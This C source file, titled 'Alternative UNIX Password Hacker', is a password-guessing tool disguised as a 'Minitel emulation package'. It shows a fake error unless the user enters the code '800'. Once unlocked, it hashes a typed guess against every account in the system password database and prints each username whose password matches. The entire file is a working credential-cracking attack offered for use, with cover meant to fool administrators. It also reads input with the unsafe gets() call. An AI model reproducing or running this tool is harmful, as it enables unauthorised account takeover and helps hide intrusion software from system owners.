/*  Alternative UNIX Password Hacker
    Written by Keyboard Jockey
*/

#include <stdio.h>
#include <pwd.h>
#include <string.h>

struct passwd *p1;
struct passwd *getpwent();
char *crypt();

main()
{
  char *pw, passw[20], thing[80], thing2[80];

  strcpy(thing2, "800");

  printf("\n\nMinitel emulation package V3.0\n");
  printf("(C)opyright 1985-1990\n\n");
  printf("Do you need relaxed protocol? (for networks) ");

  gets(thing);

  if (strcmp(thing, thing2) != 0) {
    sleep(1);
    printf("\nCan't find minitel data files.\n");
    exit(1);
  }

label1:
  setpwent();
  printf("\nConnect to what host? ");
  gets(passw);
  if (strlen(passw) == 0)
    goto label2;

  while ((p1 = getpwent()) != NULL) {
    pw = crypt(passw, p1->pw_passwd);
    if (!strcmp(pw, p1->pw_passwd)) {
      printf("%s\n", p1->pw_name);
    }
  }

  goto label1;

label2:
  exit(0);
}